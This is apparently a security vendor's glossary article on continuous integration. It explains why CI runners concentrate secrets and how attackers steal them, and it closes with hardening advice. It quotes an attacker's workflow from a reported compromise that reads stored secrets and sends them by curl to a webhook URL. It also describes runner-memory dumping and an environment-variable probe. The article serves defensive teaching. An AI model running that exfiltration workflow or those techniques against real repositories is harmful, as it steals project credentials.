Back to glossary

Continuous Integration (CI)

Continuous integration (CI) merges every change into a shared mainline and builds and tests it automatically, on runners that often hold a project's secrets.

Also known as CI pipeline, CI build, CI server

Continuous integration (CI) is the practice of merging every developer's changes into a shared mainline at least daily and having an automated service build and test each change. A CI service runs that build on a runner: a machine that executes the repository's workflow file, its dependencies, and third-party actions, usually with the project's publishing and deployment secrets loaded.

We think that combination makes continuous integration the most targeted secret store in open source today. A CI job runs code written by dozens or hundreds of outside authors, and every process in the job can read the secrets the job was given. On GitHub, write access is enough to read all of them: "Any user with write access to your repository has read access to all secrets configured in your repository," according to GitHub's secure use reference. In October 2026 attackers used exactly that property in the LiteLLM compromise and in the GhostAction campaign. Our position: a CI system is a production credential store that executes untrusted code by design. The job that integrates other people's code should hold no secrets. The job that holds secrets should run nothing new.

What is continuous integration?

#

Continuous integration is a development practice in which every team member merges work into one mainline frequently, and an automated build verifies each merge. Martin Fowler's reference article, first published in 2000 and revised on January 18, 2024, sets the bar at integrating "at least daily." Kent Beck developed the practice as part of Extreme Programming in the 1990s.

The reasoning is about cost. Two branches that diverge for a week can conflict in ways that take days to untangle. Two branches that diverge for an hour rarely conflict at all. CI shrinks the gap between "I changed it" and "we know it works with everyone else's changes" to minutes. Fowler's practices make that possible: keep everything in a version-controlled mainline, automate the build, make the build self-testing, trigger a build on every push, keep it fast, and fix a broken build immediately.

Continuous integration is the first stage of a longer chain. Continuous delivery keeps the mainline releasable at all times. Continuous deployment goes one step further and ships every change that passes the pipeline to production automatically. Together they are called CI/CD, and they share the same machinery.

How does a CI system run a build?

#

A CI system runs a build by reacting to a repository event, provisioning a runner, and executing a workflow definition on it step by step. GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, and Buildkite differ in syntax, not in shape. Here is a minimal GitHub Actions workflow for an npm project:

YAML
name: ci
on: [push, pull_request]
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - run: npm ci
      - run: npm test
        env:
          DATABASE_URL: ${{ secrets.TEST_DATABASE_URL }}

When someone pushes, the platform reads this file from the pushed commit, starts a fresh virtual machine (on GitHub-hosted runners), downloads the actions/checkout code at the pinned commit, and runs each step as an ordinary process. npm ci installs exactly what the lockfile records. npm test loads the project and every dependency it imports. The env: block maps one stored secret into the test step's environment.

The runner also tells every process where it is. GitHub's variables reference documents CI as "Always set to true" so tests can tell a CI run from a local one, along with GITHUB_ACTIONS, RUNNER_OS, and GITHUB_ENV, a file whose contents become environment variables for every later step. Those variables are a convenience for test suites and a signal for malware, as the next sections show.

Anatomy of a CI job: five inputs execute in one runner alongside the job's credentials and produce four outputs. Attack paths A, B and C are marked. Inputs: code from many authors Commit or pull request Workflow file Actions Dependencies Restored cache B A One job · one runner · one process tree Every step shares the machine and its secrets checkout npm ci npm test deploy Credentials GITHUB_TOKEN secrets.*each one the job uses OIDC tokenif id-token: write all held in runner memory An install hook, an imported module and a deploy script all run with the same reach. Outputs that outlive the job Logs Artifacts Cache Network C Arun code in the job Bwrite a workflow Charvest outputs
Figure 1. What one CI job runs, what it holds, and the three paths to its secrets.

Figure 1 in text: a CI job draws on five inputs: the pushed commit or pull request, the workflow file, third-party actions resolved at job start, package dependencies, and restored caches. All of them execute inside one runner, in one process tree, alongside the job's credentials: the repository token, every secret the workflow references, and any OpenID Connect (OIDC) identity the job may request. The job then produces four outputs that outlive it: logs, artifacts, cache writes, and network traffic. Three attack paths are marked: (A) run code inside the job through any input, (B) write a workflow that asks for secrets by name, and (C) harvest secrets from what the job leaves behind.

Two details in that picture decide everything that follows. Secret scope is per job, not per step: a step-level env: limits which processes see a variable, but the runner process holds every referenced secret for the whole job. And nothing inside a job separates trusted code from untrusted code. The step that installs a dependency has the same reach as the step that deploys.

Why CI concentrates credentials

#

CI concentrates credentials because it is the one machine that must authenticate to everything a project ships to. Publishing needs a registry token. Deploying needs cloud keys. Integration tests need real databases and real third-party APIs. Signing needs a certificate. A developer laptop holds some of these credentials; a mature CI configuration holds all of them, and runs other people's code on every push. Our review of the attacks that defined 2025 and 2026, Hardening GitHub Actions Against Outside Threats, found that the malicious code entered during the release, and "in most cases the release ran on GitHub Actions."

The two workflows recovered in the LiteLLM attack timeline show what an attacker actually finds. Across both runs they referenced 20 distinct secret names:

ClassSecret names referenced
Source controlGH_TOKEN, PROVIDER_INFO_SYNC_APP_ID, PROVIDER_INFO_SYNC_APP_PRIVATE_KEY
Paid AI APIsANTHROPIC_API_KEY, OPENAI_API_KEY, AWS_BEARER_TOKEN_BEDROCK, TOGETHER_API_KEY, TAVILY_API_KEY, LITELLM_API_KEY
Databases and cachesDATABASE_URL, POSTGRES_USER, POSTGRES_PASSWORD, REDIS_HOST, REDIS_PORT, REDIS_PASSWORD
SaaS and internal toolsLINEAR_API_KEY, E2E_LINEAR_STORAGE_STATE_B64, LENS_READ_TOKEN, PROVIDER_ISSUE_WEBHOOK_URL
Security toolingGITGUARDIAN_API_KEY

Three entries in that table deserve attention. A GitHub App private key signs tokens on demand, so it does not expire the way a session does. E2E_LINEAR_STORAGE_STATE_B64 is a saved browser session for end-to-end tests, which logs in without a password or a second factor. And the secret-scanning key gives the attacker a view into the alerts that might expose them.

Signing material ends up in CI for the same reason. On March 31, 2026, a GitHub Actions workflow in OpenAI's macOS app-signing process installed the compromised axios 1.14.1, and the workflow "had access to a certificate and notarization material used for signing macOS applications," according to OpenAI's disclosure. OpenAI rotated the certificate and forced desktop users to update, as we covered in the OpenAI signing pipeline exposure. OpenAI's stated root cause was CI configuration: the action "used a floating tag, as opposed to a specific commit hash," with no minimum release age for new packages.

A CI secret is also a multiplier. A stolen publish token turns one compromised project into many compromised installs. Shai-Hulud 2.0 automated that step in November 2025: when a victim's environment held no npm token, the worm mined the victim's GitHub Actions secrets for strings starting with npm_ and used them to republish more packages. And credentials taken from CI let attackers return. The Trivy GitHub Actions compromise of March 2026 followed an earlier theft of credentials from Trivy's CI environment, after a rotation that was not fully atomic.

How do attackers steal secrets from CI?

#

Attackers steal secrets from CI through three paths: they run code inside a job that holds secrets, they write a workflow that requests the secrets by name, or they harvest secrets from the logs and artifacts a job leaves behind. Each path has carried a real attack since 2025.

Path A: run code inside the job

#

Every dependency, action, and downloaded script in a job runs with the job's environment. You can reproduce the effect in under a minute. The package below is a stand-in for any dependency. Its package.json runs probe.js as a postinstall hook, its index.js runs it again when the package is required, and the probe prints only the names of secret-looking variables. We ran it on November 5, 2026 with npm 10.9.9 in a clean environment holding three fake secrets:

JavaScript
const ci = process.env.CI === 'true' || !!process.env.GITHUB_ACTIONS;
const names = Object.keys(process.env).filter(k => /TOKEN|SECRET|KEY|PASSWORD/i.test(k));
console.log(`[probe:${process.argv[2]}] ci=${ci} sees: ${names.join(', ')}`);
Plain text
$ npm install ../dep --foreground-scripts      # dependency with a postinstall hook
[probe:install] ci=true sees: DEPLOY_KEY, NPM_TOKEN, AWS_SECRET_ACCESS_KEY

$ npm install ../dep --ignore-scripts
added 1 package in 172ms

$ node -e 'require("left-padder")'             # what npm test does
[probe:import] ci=true sees: NPM_TOKEN, AWS_SECRET_ACCESS_KEY, DEPLOY_KEY

Turning off install scripts removed the first execution point. It did nothing about the second. The moment the test step imported the package, the same code ran with the same secrets. That is why npm v12, which made dependency install scripts opt-in on July 8, 2026, and pnpm 10, which did the same in January 2025, close an important door without closing the room. We think default-on install scripts were a design mistake, and we are glad both defaults are gone. Import-time and test-time execution remain.

Malware written for CI checks where it is before it acts. Shai-Hulud 2.0 looked for GITHUB_ACTIONS with RUNNER_OS, BUILDKITE, CODEBUILD_BUILD_NUMBER, CIRCLE_SHA1, and PROJECT_ID. On Linux GitHub-hosted runners it then tried sudo -n true to gain root and rewrote DNS and firewall rules. The Go modules in the BufferZoneCorp campaign went further: they detected GITHUB_ENV and GITHUB_PATH and wrote to them, disabling Go checksum verification and planting a fake go binary that every later step in the job would run.

Reading environment variables is the easy version. The Trivy payload located the Runner.Worker process, dumped its memory through /proc/<pid>/mem, and searched for the runner's internal secret format, "<name>":{"value":"<secret>","isSecret":true}. That recovers secrets the workflow referenced in any step, not just the current one. Third-party scripts count too. The Codecov Bash Uploader compromise shipped every environment variable to an attacker from January 31 to April 1, 2021, across more than 29,000 customers, because pipelines piped a vendor URL straight into a shell.

Path B: write a workflow that asks for the secrets

#

The second path needs no bug at all. A CI workflow is code that anyone with write access can add, and the platform releases secrets to whatever workflow names them. GitHub withholds repository and environment secrets from pull_request runs triggered by forks, so this path requires push access, which a stolen maintainer credential provides. The first of the two LiteLLM workflows, as published in our timeline, is 24 lines:

YAML
name: ci
on: [push]
permissions: {}
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: setup
        env:
          S1: ${{ secrets.GH_TOKEN }}
          S2: ${{ secrets.LINEAR_API_KEY }}
          S3: ${{ secrets.LITELLM_API_KEY }}
          S4: ${{ secrets.PROVIDER_INFO_SYNC_APP_ID }}
          S5: ${{ secrets.PROVIDER_INFO_SYNC_APP_PRIVATE_KEY }}
          S6: ${{ secrets.TOGETHER_API_KEY }}
        run: |
          echo "GH_TOKEN=${S1}" > /tmp/c.env
          ...
          base64 -w0 /tmp/c.env > /tmp/c.b64
          curl -m 25 -s -X POST "https://webhook[.]site/65a42464-3cfa-4b02-a18c-17a6d7b86f37" -H 'Content-Type: text/plain' -H 'X-Tag: lm1' --data-binary @/tmp/c.b64 || true

Note the third line. permissions: {} strips the repository token of every permission, which is standard hardening advice. It changes nothing here, because permissions governs the GITHUB_TOKEN, not stored secrets. The attacker did not need the token. They needed the platform to substitute six ${{ secrets.* }} expressions, which it did.

The LiteLLM branch, push, run, delete cycle and its timeline from October 10 to October 21, 2026. One cycle, repeated twice 1 Branchci-tmp-<hex>cut from a real commit 2 Pushcache.yml"ci: bump cache config" 3 Runon: [push]secrets resolve, ~4 s 4 Deletebranch removedsame day Timeline, October 2026 Oct 10cycle 1: one job 6 organization secrets, incl. GH_TOKEN and a GitHub App private key Oct 12cycle 2: six jobs 14 more secrets, five GitHub environments Oct 21malicious litellm 1.107.0 released 11 days after the first theft
Figure 2. How the LiteLLM attacker stole CI secrets with push access and no vulnerability.

Figure 2 in text: the attacker repeated a four-step cycle twice. First, create a throwaway branch named ci-tmp-<hex> from a recent legitimate commit. Second, push one commit titled "ci: bump cache config" that adds .github/workflows/cache.yml. Third, let on: [push] fire; the job runs in the upstream repository's context, where secrets resolve to real values, and finishes in about 4 seconds. Fourth, delete the branch. The first cycle ran on October 10, 2026 and took six organization secrets, including GH_TOKEN and a GitHub App private key. The second ran on October 12 with six jobs, five of them bound to GitHub environments, and took 14 more. The malicious release came on October 21, eleven days after the first theft.

The GhostAction campaign automated the same idea. On October 8, 2026, two compromised maintainer accounts committed a workflow named security-audit.yml to 346 repositories, including uber/athenadriver. Before committing, the tooling read each repository's existing workflows for the secret names they used and rendered those names into the payload. By October 9 we had counted more than 500 accounts committing the same workflow. Both campaigns are maintainer account takeover at their root, and both show the same thing: in CI, push access is secret access.

Path C: harvest what the job leaves behind

#

The third path reads secrets after the job has used them. CI logs, artifacts, and caches persist after the runner is destroyed, and on public repositories logs are world-readable. The tj-actions/changed-files compromise on March 14 and 15, 2025 repointed tags v1 through v45.0.7 at a commit that printed CI secrets into workflow logs. More than 23,000 repositories used the action. The attacker did not need an exfiltration server; the logs were the exfiltration channel.

Log masking is not a defense against this path. Masking replaces exact secret strings in log output, so any transformation of a value, such as encoding it, produces a string the masker has never seen. GitHub also warns that "Structured data can cause secret redaction within logs to fail." Artifacts leak the same way: older versions of actions/checkout stored the job's Git credentials in .git/config, so a workflow that uploaded its checkout directory as an artifact could ship the token with it. Newer versions keep the credential outside the workspace. Set persist-credentials: false on checkout when no later step needs authenticated Git.

Inventory your CI secrets the way attackers do

#

A CI secret inventory is the list of secrets each workflow can cause the platform to release, and building one is the first useful step for any team. GhostAction's reconnaissance step was to grep a repository's workflows for secret names. You can run the same reconnaissance on your own repository before an attacker does:

Bash
grep -rhoE "toJSON\(secrets\)|secrets(\.[A-Za-z_][A-Za-z0-9_]*|\[[^]]+\])|secrets: *inherit" .github/workflows \
  | sort | uniq -c | sort -rn

On a test repository, the output looks like this:

Plain text
      2 secrets.NPM_TOKEN
      1 toJSON(secrets)
      1 secrets[format('GH_PAT_{0}', matrix.env)]
      1 secrets.TEST_DATABASE_URL
      1 secrets.AWS_SECRET_ACCESS_KEY

Two lines in that output are worse than the rest. toJSON(secrets) and a dynamically built index such as secrets[format(...)] hand the job every secret in scope, not one; the open source workflow linter zizmor flags both in its overprovisioned-secrets audit as code that "injects the entire secrets context into the runner." secrets: inherit passes all of the calling workflow's secrets to a reusable workflow. The grep shows only what workflow files request. Repository and organization settings decide what exists, and that list is what any writer can request tomorrow.

Which CI controls reduce secret exposure, and what do they miss?

#

The CI controls that reduce secret exposure do one of two things: they keep untrusted code out of jobs that hold secrets, or they shrink what a stolen secret is worth. None of them does both, and each leaves a specific gap. The full hardening playbook lives in CI/CD security and GitHub Actions security; this table is the secret-exposure view.

ControlWhat it closesWhat it leaves open
Split jobs: build and test with no secrets, publish or deploy in a separate jobDependencies and tests run without credentials in reachThe privileged job still installs dependencies and may run build steps
No install scripts (npm v12 and pnpm 10 defaults, --ignore-scripts)Execution at install time, where most npm worms ranCode that runs at import, in tests, or in build tools
npm ci plus a dependency cooldownNew malicious versions entering on a CI run, and fresh releases in their first daysA malicious version already in the lockfile; code fetched by npx or global installs, which no lockfile records
Pin actions to a commit or a workflow lockfileMoved tags (tj-actions, Trivy)A pinned commit that is itself malicious
Short-lived OIDC credentials instead of stored tokensLong-lived tokens to steal and reuseCode inside the trusted job, which can obtain the job's own token
Environment secrets with protection rulesSecrets available only to jobs that pass branch rules or reviewer approvalRepository and organization secrets; administrators can bypass rules unless that option is turned off
Egress allowlist on runnersExfiltration to arbitrary hostsExfiltration through allowed services such as github.com, and through logs
Secret scanning and push protectionCredentials committed to the repository and its historySecrets stolen at runtime from the runner

Two rows need context. A dependency cooldown refuses versions younger than a set age when the lockfile is written, and npm ci then installs only what the lockfile records, so a version published an hour ago never reaches the runner. Exchanging a stored token for an OIDC credential, as npm trusted publishing does, removes the long-lived secret, but the TanStack compromise showed that code running inside the release job can obtain that job's token and publish with it.

Our verdict: if you do only one thing, remove secrets from every job that installs or executes code you have not reviewed. That control works against Path A regardless of how the code got in. Then move as many of the remaining secrets as you can into deployment environments that only the default branch can reach. The LiteLLM attacker pushed to a disposable branch, and a job running from that branch could not have passed an environment rule limited to main.

Environments come with a trade-off. GitHub documents that "A job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets," in its environments guide. The same page shows administrators can bypass those rules unless the bypass option is deselected, and LiteLLM's investigation, as summarized in our timeline, found the attacker had retrieved a GitHub organization owner's token. Disable administrator bypass on any environment that holds a publishing credential.

Socket fits at the dependency step. Prefixing the install with sfw, as in sfw npm ci, routes package fetches through Socket Firewall, which blocks packages confirmed as malware before they reach the runner. The free tier blocks only confirmed malware and warns on packages flagged by AI alone. It does nothing about a workflow an insider writes, which is Path B.

Write access is secret access

#

Most CI hardening assumes the attacker is an outsider who has to sneak code in through a pull request, a dependency, or an action. The October 2026 attacks did not need to. LiteLLM's attacker was stealing CI secrets at least eleven days before the release attack, and the earliest workflow we recovered was a 4-second job with no checkout and no build. GhostAction ran from more than 500 accounts. Neither campaign exploited a CI vulnerability, because the behavior they used is the documented design: whoever can push a workflow can name any secret in scope and receive it.

We think that design is the root problem, and the fix belongs in the platforms. A secret should be released to reviewed workflow content, such as a workflow file on a protected branch, not to anyone who holds repository write access. Deployment environments with branch rules are the closest approximation available today, and they belong in front of publishing credentials, not only production deploys. Until secrets follow review instead of write access, a secret management strategy for CI has to start from an uncomfortable assumption: every credential in a CI system is readable by every account that can push to it.